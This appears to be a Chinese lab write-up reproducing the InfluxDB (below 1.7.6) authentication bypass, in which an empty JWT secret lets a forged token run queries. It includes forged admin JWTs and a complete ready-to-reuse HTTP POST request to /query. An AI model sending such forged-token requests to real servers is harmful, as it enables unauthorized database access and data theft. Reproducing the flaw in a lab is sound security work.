1.原理
参考:https://blog.csdn.net/tqlisno1/article/details/109110644
InfluxDB 未授权访问 漏洞复现_influxdb未授权访问复现-CSDN博客
InfluxDB 是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。
影响:InfluxDB < 1.7.6
2.复现
使用docker镜像
访问页面看配置
访问/query,显示需要登录
由于influxdb输入信息使用jwt的验证方式生成令牌,在令牌中放入时间戳表示令牌的过期时间,本漏洞的产生原因是在生成jwt的时候该influxdb没有设置加密秘钥,我们直接生成一个用户
生成jwt https://jwt.io/
时间戳生成
时间戳(Unix timestamp)转换工具 - 在线工具
所以我们需要一个username和exp,exp填入的时间戳是一个未来的
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkpvaG4gRG9lIiwiZXhwIjoxNzIwNzAyNDQ2fQ.lao5PXaq14nU1C9InPZt7F-P0dxxLpcnc11C1nnbJkg
取消登录后发现出现这个页面,待会使用`Authorization: Bearer`方式提交我们的jwt,这 是一个 HTTP 头部字段,用于在客户端和服务器之间传输访问令牌(access token)。这种授权机制通常用于OAuth 2.0框架中,允许第三方应用访问用户在服务提供者上存储的受保护的资源。
抓包:
POST /query HTTP/1.1//改成post
Host: 192.168.61.10:8086
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzIwNzAyNDQ2fQ.kG23zjGNfMLfa8DLOxINHFqdEpEm5MQ5yRF85uzhodQ
Content-Length: 26
Content-Type:application/x-www-form-urlencoded//用post方式记得加上这条
db=sample&q=show+users//显示返回值
我出现的问题是返回错误值p,记得加上content-type,数据包内容我放在这了,改一下host就可以用了,修改q的值可以返回信息或者:
可以直接连接数据库,但是需要下载influxdb-client,我的kali突然下不了了,我就不做了,参考里面有
当然,记得做完要关闭容器